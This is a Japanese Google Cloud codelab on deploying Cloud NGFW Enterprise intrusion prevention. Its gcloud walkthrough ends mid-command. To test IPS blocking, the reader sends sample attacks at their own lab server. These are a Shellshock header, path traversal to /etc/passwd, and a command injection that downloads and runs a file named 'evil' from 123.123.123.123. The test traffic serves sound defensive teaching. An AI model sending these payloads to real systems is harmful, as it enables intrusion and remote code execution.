Cloud NGFW Enterprise - 侵入防止サービス(TLS インスペクションなし)

1. はじめに

Cloud Next Generation Firewall(NGFW)

Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。

Cloud NGFW には次の利点があります。

  • 分散ファイアウォール サービス: Cloud NGFW は、各ワークロードに完全に分散されたステートフルなホストベースの適用を提供し、ゼロトラスト セキュリティ アーキテクチャを実現します。
  • 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
  • きめ細かな制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせることで、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を単一の VM まできめ細かく制御できます。

Cloud NGFW は次の階層で使用できます。

Cloud NGFW Enterprise

Cloud NGFW Enterprise は、レイヤ 7 機能である侵入防止サービス(IPS)を分散型 Google Cloud ファイアウォール ファブリックに追加します。TLS インスペクションは TLS 暗号化トラフィックのインスペクションを可能にするためにサポートされていますが、この Codelab の範囲外です(TLS インスペクションを備えた Cloud NGFW Enterprise Codelab をご覧ください)。

ネットワーク アーキテクチャやルーティング構成を変更することなく、信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)インスペクションをきめ細かく制御してデプロイできるようになりました。

IPS でレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを行う必要があります。

  • Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します。
  • 必要に応じて TLS インスペクション ポリシーを作成する(この Codelab では扱いません)
  • 必要に応じて信頼構成を作成する(この Codelab では説明しません)
  • これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
  • 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスの脅威防止プロファイルを指定します。

ネットワーク ファイアウォール ポリシー

ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまで適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールで IAM によって管理されるタグ(またはタグのみ)をサポートします。これは現在のネットワーク タグを置き換え、ワークロードに ID を提供するために使用できます。

ネットワーク ファイアウォール ポリシーをネットワーク間で共有し、IAM によって管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。

ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。

  1. 階層型ファイアウォール ポリシー
  2. VPC ファイアウォール ルール
  3. ネットワーク ファイアウォール ポリシー(グローバルリージョン

階層型ファイアウォール ポリシーは、リソース階層内の組織ノードとフォルダノードでサポートされていますが、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは 1 つの VPC ネットワークにのみ適用できるのに対し、ネットワーク ファイアウォール ポリシーは 1 つの VPC または VPC グループにアタッチできるという点です。

最後に、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールがあります。

  • アクションが allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
  • アクションが deny、送信元が 0.0.0.0/0 の上り(内向き)ルール

デフォルトでは、次の図に強制適用シーケンスを示します。

21b3bcabc469ffe.png

VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。適用順序は、gcloud コマンドでいつでも指定できます。

IAM によって管理されるタグ

ネットワーク ファイアウォール ポリシールールに統合されたタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義された Key-Value ペアのリソースです。このようなタグには、名前が示すように、誰がタグに対して何をできるかを指定する IAM アクセス制御が含まれます。たとえば IAM 権限では、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。リソースにタグが適用されると、ネットワーク ファイアウォール ルールで、そのタグを使用してトラフィックを許可または拒否できるようになります。

タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体にわたって渡されます。そのため、タグを 1 か所で作成して、リソース階層全体の他のフォルダやプロジェクトで使用できます。タグとアクセス制限について詳しくは、こちらのページをご覧ください。

タグをネットワーク タグと混同しないでください。後者は、Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスが廃止されると消えます。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、クラウド リソースとはみなされないため、IAM アクセス制御の対象ではありません。

このドキュメントでは、タグと IAM によって管理されるタグを同じ意味で使用することに注意してください。

作成するアプリの概要

この Codelab では、単一のプロジェクトと、パブリック接続で VPC ネットワークを作成する機能が必要です。Cloud NGFW Enterprise で IPS 機能を提供する方法を、以下の方法で説明します。

  • VPC 内/サブネット内のフローの検査 [East-West]
  • インターネットからの上り(内向き)フローの検査 [North-South]

検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)とタグなどの Cloud Firewall 照合パラメータを使用して選択されます。TLS インスペクションはこの Codelab では説明しません。

52a0642ef8668ecf.png

ネットワーク ファイアウォール ポリシー ルールベースは、次の表のようになります。

優先度

方向

ターゲット

ソース

宛先

操作

100

下り(外向き)

Quarantine_Tag

すべて

任意

拒否

Essentials

1000

Ingress

Server_Tag

ヘルスチェック範囲

すべて

許可

Essentials

2000

Ingress

すべて

Identity-Aware Proxy の範囲

すべて

許可

Essentials

3000

Ingress

すべて

地域、GCTI

すべて

拒否

標準

4000

下り(外向き)

すべて

すべて

地域、GCTI

拒否

標準

5000

下り(外向き)

すべて

すべて

システム更新の FQDN

許可

標準

6000

Ingress

Server_Tag

10.0.0.0/24

すべて

IPS

エンタープライズ

7,000

Ingress

Server_Tag

CloudNAT_IP

すべて

IPS

エンタープライズ

学習内容

必要なもの

  • Google Cloud プロジェクト
  • インスタンスのデプロイとネットワーキング コンポーネントの構成に関する知識
  • VPC ファイアウォール構成に関する知識

2. 始める前に

変数の作成/更新

この Codelab では、Cloud Shell での gcloud 構成の実装に役立つ $variables を使用します。

Cloud Shell で以下のコマンドを実行します。該当する角かっこ内の情報は適宜置き換えてください(必要なプロジェクトがすでに設定されている場合は、プロジェクトの設定をスキップしてください)。組織レベルのリソースに複数の変数(例:ファイアウォール エンドポイントが必要です。

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. API を有効にする

API をまだ有効にしていない場合は、有効にします。

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW エンタープライズ セキュリティ プロファイルとエンドポイントの作成

Cloud NGFW エンタープライズ エンドポイントの作成には約 20 分かかるため、まずエンドポイントを作成します。基本の設定は、エンドポイントの作成中に並行して行うことができます。

セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

予想される出力:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

リソースが正常に作成されたことを確認します。

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

予想される出力:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Cloud NGFW Enterprise エンドポイントを作成します。

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

以下のコマンドを実行して、エンドポイントが作成されていることを確認します(状態: CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

予想される出力(出力形式は、使用するクライアントによって異なる場合があります):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

エンドポイントの作成プロセスには約 20 分かかります。「基本設定」セクションに進み、必要なリソースを並行して作成します。

5. 基本設定

ベースリソースを手動で作成する場合は、次のセクションに進みます。

VPC ネットワークとサブネット

VPC ネットワークとサブネット

VPC ネットワークとサブネットを作成します。

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router と Cloud NAT ゲートウェイを作成します。

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

インスタンス

クライアント インスタンスと web-server インスタンスを作成します。

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

プロジェクト レベルのタグ

必要に応じて、tagAdmin 権限や tagUser 権限をユーザーに割り当てます。

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

プロジェクト レベルのタグキーと値を作成します。

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

タグをインスタンスにバインドします。

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

グローバル ネットワーク ファイアウォール ポリシー

グローバル ネットワーク ファイアウォール ポリシーを作成します。

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

隔離されたインスタンスからのトラフィックを拒否し(この Codelab では使用しません)、ヘルスチェックおよび Identity-Aware Proxy の範囲からのトラフィックを許可します。Cloud Firewall Essentials ルールを作成します。

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

制限対象の国、既知の悪意のある IP、ToR 出口ノードとの間で送受信される上り(内向き)トラフィックと下り(外向き)トラフィックを拒否する Cloud Firewall Standard ルールを作成する。また、特定の FQDN への下り(外向き)トラフィックのみを許可します(システム アップデートは一例にすぎません。この Codelab では使用しません)。

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

特定の範囲からの East-West / サブネット内と North-South / インターネットの上り(内向き)トラフィックを許可する Cloud ファイアウォール ルールを作成します(これらのルールは Cloud NGFW Enterprise を有効にするために更新されます)。

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

ネットワーク ファイアウォール ポリシーを VPC ネットワークに関連付けます。

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

外部 TCP/UDP ネットワーク ロードバランサ

外部 IP アドレスを予約し、インスタンス グループとヘルスチェックを作成します。

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

バックエンド サービスと転送ルールを作成します。

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW エンタープライズ エンドポイントの関連付け

必要に応じて環境変数を再定義します。

Cloud ファイアウォール エンドポイントの作成が正常に完了したことを確認します。状態が ACTIVE(作成中、想定される状態は CREATING)と表示された場合にのみ続行します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

予想される出力(出力形式は、使用するクライアントによって異なる場合があります):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Cloud NGFW Enterprise エンドポイントを VPC ネットワークに関連付けます。

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

関連付けのプロセスには 10 分ほどかかります。状態が ACTIVE(作成プロセス中に想定される状態は CREATING)になっている場合にのみ、次に進んでください。

gcloud network-security firewall-endpoint-associations list

予想される出力:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

予想される出力:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW エンタープライズ検査ルール

新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を再度定義する必要があります)。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

SSH セッションでの require の変数を定義し、変数を設定します(値が正しいことを確認してください)。

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl コマンドを実行して、両方の IP に到達可能であることを確認します。

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

両方の curl リクエストで想定される結果:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

内部サーバーの IP(East-West / VPC 内トラフィック)にサンプル攻撃を送信します。ウェブサーバーはすべてのリクエストに応答し、L7 の検査/防止が行われていないことを確認します。

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Cloud NAT(North-South インバウンド トラフィック)を介して外部サーバー IP にサンプル攻撃を再送信します。同様に、ウェブサーバーはすべてのリクエストに応答します。

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

パブリック IP とプライベート IP の両方で想定される結果:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Cloud Shell に戻り、既存の上り(内向き)ルールを更新して L7 検査を有効にします。

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

必要に応じて、ファイアウォール ルールの説明を取得して、両方が正常に更新されたことを確認します。

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

予想される出力:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

ルール 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

予想される出力:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

クライアント VM に戻り、内部サーバー IP にサンプル攻撃を再送信します(East-West / VPC 内検査)。

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Cloud NAT(North-South インバウンド検査)を介して外部サーバー IP にサンプル攻撃を再送信します。

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

以下の期待される出力から、最初の攻撃に対するレスポンスが得られず、重大度の高い攻撃がブロックされていることを確認できます。

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

[ネットワーク セキュリティ] >Cloud コンソールでの脅威(ログの検証用)。攻撃がまだ表示されていない場合は、数回更新する必要があります。

daa535fcc34873aa.png

いずれかの攻撃を選択し、[監査ログを表示] をクリックします(新しいタブで開くと簡単に戻ることができます)。攻撃を展開して詳細を表示します。

5f97cdef79e42eff.png

必要に応じて、[ログ エクスプローラ] フィルタを次のクエリに置き換えます。

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

脅威ログエントリは次のように表示されます。

5ea9581a7eb694c5.png

Cloud Firewall でインターセプトされたパケットは、次のログ エクスプローラ フィルタを使用して確認できます(トラブルシューティングに役立ちます)。

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

インターネット トラフィック検査に進むか(省略可)、SSH セッションを閉じて次の章に進んでクリーンアップ手順に進みます。

[省略可] インターネット トラフィック検査

前のセクションで確認したように、これまでに検査されたフローはサブネット内/VPC(East-West)とインターネットからの受信トラフィック(North-South インバウンド)です。Cloud Shell を使用して新しい下り(外向き)ルールを作成することで、すべてのインターネット トラフィック(North-South アウトバウンド)を検査するように Cloud NGFW Enterprise を構成することもできます。

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

クライアント VM に戻り、外部サーバー IP に重大度の高い攻撃を再送信します。

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

予想される出力:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Cloud コンソールの [脅威] タブに切り替えて、ログを確認します(数回の更新が必要になる場合があります)。攻撃は識別されて再度ログに記録されるはずですが、最初に下り(外向き)ルールがトリガーされるため、送信元 IP は内部のものになりました。

36f8edf264dcddcd.png

SSH セッションを閉じて、次のセクションのクリーンアップ手順に進みます。

8. クリーンアップ手順

Cloud NGFW Enterprise コンポーネントのクリーンアップ

既存の Cloud NGFW Enterprise の関連付けを一覧表示します。

gcloud network-security firewall-endpoint-associations list

Cloud NGFW Enterprise の関連付けを削除します。

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

既存の Cloud NGFW Enterprise エンドポイントを一覧表示します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Cloud NGFW Enterprise エンドポイントを削除します。これには 20 分ほどかかります。

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

次のコマンドを実行して、Cloud NGFW Enterprise が削除されたことを確認します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

セキュリティ プロファイル グループと脅威対策プロファイルを削除します。

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

基本設定のクリーンアップ

基本リソースを削除する場合は、次のステップに進みます。

必要に応じて環境変数を定義します。Cloud Shell から、ネットワーク ロードバランサのコンポーネントを削除します。

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

インスタンスを削除します。

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin ロールと tagUsers ロールが変更された場合は、必要に応じて次の手順を行います。

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
